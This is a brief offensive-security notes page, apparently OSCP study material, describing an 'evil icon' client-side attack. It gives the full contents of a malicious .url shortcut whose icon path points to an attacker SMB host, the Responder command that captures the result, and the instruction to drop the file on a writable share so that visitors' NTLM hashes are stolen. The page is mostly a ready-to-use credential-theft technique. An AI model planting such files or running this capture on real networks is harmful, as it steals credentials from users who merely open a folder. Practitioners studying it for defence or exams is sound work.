Howlsec
HOWLSEC
offensive security
// notes
🧪

Client Side Attacks Evil Icon

Create a new file called pwned.url

#cool#adot8
source · oscp.adot8.com · cool/client-side-attacks_evil-icon ↗

Evil Icon

Create a new file called pwned.url

🐺 howlsec@kali
01[InternetShortcut]

02URL=pwned

03WorkingDirectory=pwned

04IconFile=\\192.168.45.233\%USERNAME%.icon

05IconIndex=1

Spin up Responder in analyze mode

🐺 howlsec@kali
01sudo responder -I tun0 -A

Upload to READ/WRITE smb share and wait for someone to open the share... hashes will fly